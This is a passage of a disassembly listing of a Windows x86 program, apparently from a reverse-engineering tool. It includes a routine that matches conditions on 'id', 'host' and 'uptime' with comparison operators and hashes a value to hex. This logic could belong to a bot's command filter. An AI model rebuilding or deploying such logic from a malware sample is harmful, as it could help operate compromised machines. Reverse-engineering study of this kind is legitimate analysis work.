		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412B90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412BC0	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412BC0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C10	proc near		; CODE XREF: sub_401F00j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_412C10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412CB0:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43994E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412FD6
		push	ebx
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013D9
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013D9
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E2E
		push	offset asc_443600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016AE
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E2E
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40200E
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40200E
		push	offset asc_443D30 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E35
		xor	edi, edi


loc_412E35:				; CODE XREF: ___:00412E31j
		push	offset asc_443D2C ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E4C
		mov	edi, 1


loc_412E4C:				; CODE XREF: ___:00412E45j
		push	offset asc_443D28 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E63
		mov	edi, 2


loc_412E63:				; CODE XREF: ___:00412E5Cj
		push	offset asc_443D24 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E7A
		mov	edi, 3


loc_412E7A:				; CODE XREF: ___:00412E73j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4
		test	edi, edi
		jnz	short loc_412EAA
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44758A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412ED4
		jmp	short loc_412EC7
; ---------------------------------------------------------------------------


loc_412EAA:				; CODE XREF: ___:00412E8Ej
		cmp	edi, 1
		jnz	short loc_412ED4
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44758A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4


loc_412EC7:				; CODE XREF: ___:00412EA8j
		push	0
		push	esi
		mov	ecx, offset byte_4472A7
		call	sub_401A32


loc_412ED4:				; CODE XREF: ___:00412E8Aj
					; ___:00412EA6j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F27
		test	edi, edi
		jnz	short loc_412F08
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60CD
		call	sub_4013E3
		test	eax, eax
		jnz	loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F08:				; CODE XREF: ___:00412EE8j
		cmp	edi, 1
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60CD
		call	sub_4013E3
		test	eax, eax
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F27:				; CODE XREF: ___:00412EE4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_401654
		test	edi, edi
		jnz	short loc_412F5D
		cmp	eax, ebx
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F5D:				; CODE XREF: ___:00412F55j
		cmp	edi, 1
		jnz	short loc_412F68
		cmp	eax, ebx
		jnz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F68:				; CODE XREF: ___:00412F60j
		cmp	edi, 2
		jnz	short loc_412F73
		cmp	eax, ebx
		jle	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F73:				; CODE XREF: ___:00412F6Bj
		cmp	edi, 3
		jnz	short loc_412F89
		cmp	eax, ebx
		jge	short loc_412F89


loc_412F7C:				; CODE XREF: ___:00412F06j
					; ___:00412F25j ...
		push	0
		push	esi
		mov	ecx, offset byte_4472A7
		call	sub_401A32


loc_412F89:				; CODE XREF: ___:00412F00j
					; ___:00412F0Bj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD6:				; CODE XREF: ___:00412CE9j
		mov	al, 1


loc_412FD8:				; CODE XREF: ___:00412FD4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4130E0	proc near		; CODE XREF: sub_401654j
		nop
		call	near ptr 2960743h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4130E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413120	proc near		; CODE XREF: sub_401FFAj

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401749
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F05
sub_413120	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401843
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43E044
		call	sub_401924
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_401CF8j ___:00401E10j
		push	esi
		mov	esi, ecx
		call	sub_401C8F
sub_4131F0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_413208
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_413208:				; CODE XREF: ___:004131FDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413220	proc near		; CODE XREF: sub_401C8Fj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43E044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401924
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014B5
sub_413220	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132E0	proc near		; CODE XREF: sub_4019F6j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4132E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Ch
		push	9
		push	1
		lea	edx, [esp+2Ch]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4133D0	proc near		; CODE XREF: sub_401CD0j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4133D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413477
		lea	ecx, [esp+18h+var_14]
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413477


loc_413438:				; CODE XREF: sub_4133D0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41349C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413438


loc_413477:				; CODE XREF: sub_4133D0+2Ej
					; sub_4133D0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41349C:				; CODE XREF: sub_4133D0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4133D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413510	proc near		; CODE XREF: sub_402112j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_4135E3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jz	short loc_4135E3


loc_41357F:				; CODE XREF: sub_413510+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebx
		call	sub_401CD0
		mov	esi, eax
		test	esi, esi
		jz	short loc_4135AC
		mov	edi, [esi]


loc_4135AC:				; CODE XREF: sub_413510+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B72
		test	eax, eax
		jz	short loc_41360B
		test	esi, esi
		jnz	short loc_41360B
		lea	ecx, [esp+28h+var_18]
		call	sub_4018B6
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jnz	short loc_41357F


loc_4135E3:				; CODE XREF: sub_413510+31j
					; sub_413510+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4135F6:				; CODE XREF: sub_413510+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_41360B:				; CODE XREF: sub_413510+AAj
					; sub_413510+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4135F6
sub_413510	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413670	proc near		; CODE XREF: sub_401F46j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413714
		lea	ecx, [esp+14h+var_14]
		call	sub_401E1F
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_413714


loc_4136D6:				; CODE XREF: sub_413670+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jz	short loc_413746
		lea	ecx, [esp+14h+var_14]
		call	sub_4020A4
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_4136D6


loc_413714:				; CODE XREF: sub_413670+2Bj
					; sub_413670+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401578
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413746:				; CODE XREF: sub_413670+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401578
sub_413670	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4137E0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4137E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017E4
		test	eax, eax
		jz	loc_413913
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A55
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_401424
		push	offset byte_446F60
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015D7
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014D3
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C12
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402158
		add	esp, 14h


loc_41387B:				; CODE XREF: sub_4137E0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_401424
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016BD
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41387B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B72
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_41390E
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_41392C
; ---------------------------------------------------------------------------


loc_41390E:				; CODE XREF: sub_4137E0+10Cj
		call	sub_401226


loc_413913:				; CODE XREF: sub_4137E0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_41392C:				; CODE XREF: sub_4137E0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4137E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4139B0	proc near		; CODE XREF: sub_40191Fj

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4139B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014C9
		mov	ecx, esi
		call	sub_402112
		test	eax, eax
		jz	short loc_413A5E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_40171C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014C9
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F46
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413A5E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413A5E:				; CODE XREF: sub_4139B0+3Fj
					; sub_4139B0+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_4139B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413AE0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_439B08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40191F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413B70	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413B70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413CB9
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017E4
		test	eax, eax
		jz	loc_413CB9
		push	esi
		push	edi
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413C93
		add	ebp, 54h


loc_413BF0:				; CODE XREF: sub_413B70+11Dj
		push	15h
		call	sub_4367FA
; ---------------------------------------------------------------------------
